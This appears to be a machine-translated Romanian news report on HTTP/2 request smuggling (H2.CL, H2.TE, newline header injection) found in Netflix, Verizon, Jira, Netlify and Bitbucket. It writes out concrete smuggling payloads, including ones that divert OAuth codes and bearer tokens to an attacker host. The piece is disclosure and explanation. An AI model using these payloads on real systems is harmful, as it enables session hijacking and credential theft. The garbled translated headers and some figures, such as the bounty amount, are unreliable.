Sistemele web în care interfața acceptă conexiuni prin HTTP/2 și transmite către backend prin HTTP/1.1 au fost expuse unei noi variante a atacului HTTP Request Smuggling, care permite, prin trimiterea de solicitări special concepute pentru clienți, să se introducă în conținut. de cereri de la alți utilizatori procesate în același flux între frontend și backend. Atacul poate fi folosit pentru a introduce cod JavaScript rău intenționat într-o sesiune cu un site legitim, pentru a ocoli sistemele de control al accesului și pentru a intercepta parametrii de autentificare.
Problema afectează proxy-urile web, echilibratoarele de încărcare, acceleratoarele web, sistemele de livrare de conținut și alte configurații în care solicitările sunt redirecționate conform schemei front-end-backend. Autorul studiului a demonstrat capacitatea de a ataca sisteme de pe Netflix, Verizon, Bitbucket, Netlify CDN și Atlassian și a primit 56 de dolari în programe de recompensă pentru vulnerabilități. Problema a fost confirmată și în produsele F5 Networks. Problema afectează parțial mod_proxy în serverul Apache http (CVE-2021-33193), este așteptată o remediere în versiunea 2.4.49 (dezvoltatorii au fost anunțați despre problemă la începutul lunii mai și au primit 3 luni pentru a o remedia). În nginx, capacitatea de a specifica anteturile „Content-Length” și „Transfer-Encoding” în același timp a fost blocată în ultima versiune (1.21.1). Instrumentele de atac au fost deja adăugate la setul de instrumente Burp și sunt disponibile ca extensie Turbo Intruder.
Principiul de funcționare al noii metode de încadrare a cererilor în trafic este similar cu vulnerabilitatea identificată de același cercetător în urmă cu doi ani, dar limitat la frontend-urile care acceptă cereri prin HTTP/1.1. Amintiți-vă că în schema frontend-backend, cererile clientului sunt primite de un nod suplimentar - frontend-ul, care stabilește o conexiune TCP de lungă durată cu backend-ul care procesează direct cererile. Prin această conexiune comună se transmit de regulă solicitări de la diferiți utilizatori, care urmează lanțul unul după altul, separate prin protocolul HTTP.
Atacul clasic „HTTP Request Smuggling” s-a bazat pe faptul că front-end-urile și backend-urile interpretează utilizarea antetelor HTTP „Content-Length” (determină dimensiunea totală a datelor din cerere) și „Transfer-Encoding: chunked” ( permite transferul datelor pe părți) diferit . De exemplu, dacă interfața acceptă doar „Lungimea conținutului”, dar ignoră „Codificarea transferului: în bucăți”, atunci un atacator poate trimite o solicitare care să conțină ambele antetele „Lungimea conținutului” și „Codificarea transferului: fragmentate”, dar dimensiunea este „Lungimea conținutului” nu se potrivește cu dimensiunea lanțului în bucăți. În acest caz, interfața va procesa și redirecționa cererea în funcție de „Lungimea conținutului”, iar backend-ul va aștepta finalizarea blocului pe baza „Transfer-Encoding: chunked”, iar coada rămasă a cererii atacatorului va fi la începutul cererii străine transmise în continuare.
Spre deosebire de protocolul text HTTP/1.1, care este analizat la nivel de linie, HTTP/2 este un protocol binar și manipulează blocuri de date de o dimensiune predeterminată. Cu toate acestea, HTTP/2 utilizează pseudo-anteturi care corespund antetelor HTTP obișnuite. Când interacționează cu backend-ul prin HTTP/1.1, front-end-ul traduce aceste pseudo-anteturi în anteturi HTTP/1.1 similare. Problema este că backend-ul ia decizii cu privire la analizarea fluxului pe baza antetelor HTTP setate de frontend, fără a cunoaște parametrii cererii inițiale.
Inclusiv sub formă de pseudo-anteturi, valorile „lungimea conținutului” și „codificarea de transfer” pot fi transmise, în ciuda faptului că nu sunt utilizate în HTTP / 2, deoarece dimensiunea tuturor datelor este determinată în un câmp separat. Cu toate acestea, în procesul de conversie a unei solicitări HTTP/2 în HTTP/1.1, aceste anteturi sunt transferate și pot deruta backend-ul. Există două opțiuni principale de atac: H2.TE și H2.CL, în care backend-ul este indus în eroare de o valoare incorectă de codificare de transfer sau de lungime a conținutului care nu corespunde cu dimensiunea reală a corpului cererii primite de front-end prin intermediul Protocolul HTTP/2.
Ca exemplu de atac H2.CL, pseudo-antetul de lungime a conținutului este malformat atunci când trimiteți o solicitare HTTP/2 către Netflix. Această solicitare are ca rezultat adăugarea unui antet HTTP Content-Length similar la accesarea backend-ului prin HTTP/1.1, dar deoarece dimensiunea în Content-Length este mai mică decât dimensiunea reală, unele dintre datele din coadă sunt procesate ca început a următoarei cereri.
De exemplu, o solicitare HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Gazdă: 02.rs?x.netflix.com Foo: bar
Va trimite o solicitare către backend: POST /n HTTP/1.1 Gazdă: www.netflix.com Lungimea conținutului: 4 abcdGET /n HTTP/1.1 Gazdă: 02.rs?x.netflix.com Foo: bar
Deoarece Content-Length este setată la 4, backend-ul va accepta doar „abcd” ca corp de solicitare și va procesa restul „GET /n HTTP/1.1...” ca începutul următoarei solicitări legate de alt utilizator. În consecință, fluxul va fi nesincronizat și, ca răspuns la următoarea solicitare, rezultatul procesării cererii false va fi returnat. În cazul Netflix, specificarea unei gazde terță parte în antetul „Gazdă:” într-o solicitare falsificată a dus la răspunsul „Locație: https://02.rs?x.netflix.com/n” către client și a permis transmiterea de conținut arbitrar către client, inclusiv executarea codului JavaScript în contextul site-ului Netflix.
A doua variantă a atacului (H2.TE) este asociată cu înlocuirea antetului „Transfer-Encoding: chunked”. Utilizarea pseudo-antetului de codificare de transfer în HTTP/2 este interzisă de specificație și solicitările cu acesta sunt prescrise a fi tratate ca fiind incorecte. În ciuda acestui fapt, unele implementări frontend ignoră această cerință și permit utilizarea pseudo-antetului de codificare de transfer în HTTP/2, care se traduce printr-un antet HTTP similar. Dacă este prezent antetul „Transfer-Encoding”, backend-ul îl poate lua ca prioritate și poate analiza datele în părți în modul „în bucăți” folosind blocuri de diferite dimensiuni în formatul „{size}\r\n{block} \r\n{dimensiune} \r\n{bloc}\r\n0" în ciuda împărțirii inițiale pe dimensiunea totală.
Prezența unui astfel de gol a fost demonstrată de exemplul Verizon. Problema a vizat însă portalul de autentificare și sistemul de management al conținutului, care este folosit și de site-uri precum Huffington Post și Engadget. De exemplu, o cerere de client prin HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Gazdă: psres.net Lungimea conținutului: 10 x=
Solicitare HTTP/1.1 cauzată pentru backend: POST /identity/XUI HTTP/1.1 Gazdă: id.b2b.oath.com Lungimea conținutului: 66 Codificarea transferului: fragmentată 0 GET /oops Gazdă HTTP/1.1: psres.net Lungimea conținutului : 10x=
Backend-ul, la rândul său, a ignorat antetul „Lungimea conținutului” și a făcut împărțirea în flux pe baza „Transfer-Encoding: chunked”. În practică, atacul a făcut posibilă redirecționarea solicitărilor utilizatorilor către site-ul dvs., inclusiv interceptarea solicitărilor legate de autentificarea OAuth, ai căror parametri apăreau în antetul Referer, precum și simularea unei sesiuni de autentificare și inițierea trimiterii de acreditări de către utilizator. sistem către gazda atacatorului. GET /b2blanding/show/oops Gazdă HTTP/1.1: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Gazdă: psres.net Autorizare: Purtător eyJhcGwiOiJIUzI1Gi1sInkR6c
Pentru a ataca implementările HTTP/2 care nu permit specificarea pseudo-antetului de codificare de transfer, a fost propusă o altă metodă care presupune înlocuirea antetului „Transfer-Encoding” prin atașarea lui la alte pseudo-anteturi separate printr-un caracter newline (când este convertit). la HTTP/1.1 în acest caz, sunt create două anteturi HTTP separate).
De exemplu, Atlassian Jira și Netlify CDN (folosite pentru a servi pagina de pornire Mozilla în Firefox) au fost afectate de această problemă. Mai exact, cererea HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Gazdă : evil-netlify-domain\r\n Lungimea conținutului: 5\r\n \r\nx=
a provocat trimiterea unei cereri HTTP/1.1 POST / HTTP/1.1 către backend\r\n Gazdă: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- Lungime: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Gazdă: evil-netlify-domain\r\n Lungimea conținutului: 5\r\n \ r\nx=
O altă opțiune pentru înlocuirea antetului „Transfer-Encoding” a fost atașarea acestuia la numele altui pseudo-antet sau la un șir cu o metodă de solicitare. De exemplu, la accesarea Atlassian Jira, numele pseudo-antetului „foo: bar\r\ntransfer-encoding” cu valoarea „chunked” a dus la adăugarea antetelor HTTP „foo: bar” și „transfer-encoding”. : chunked”, și specificarea în pseudo-header „:method” a valorii „GET / HTTP/1.1\r\nTransfer-encoding: chunked” a fost tradusă în „GET / HTTP/1.1\r\ntransfer-encoding: chunked” .
Cercetătorul care a identificat problema a propus și o tehnică de tunelizare a cererilor pentru a ataca frontend-urile, în care se stabilește o conexiune separată la backend pentru fiecare adresă IP și traficul diferiților utilizatori nu este amestecat. Tehnica propusă nu vă permite să interveniți în solicitările altor utilizatori, dar face posibilă otrăvirea cache-ului partajat, ceea ce afectează procesarea altor solicitări și vă permite să efectuați înlocuirea antetelor HTTP interne utilizate pentru a transfera informațiile serviciului de la frontend-ul către backend (de exemplu, atunci când vă autentificați pe partea de front-end în astfel de anteturi, puteți trimite informații despre utilizatorul curent către backend). Ca exemplu de aplicare a metodei în practică, folosind otrăvirea cache-ului, a fost posibil să obțineți controlul asupra paginilor din serviciul Bitbucket.
Sursa: opennet.ru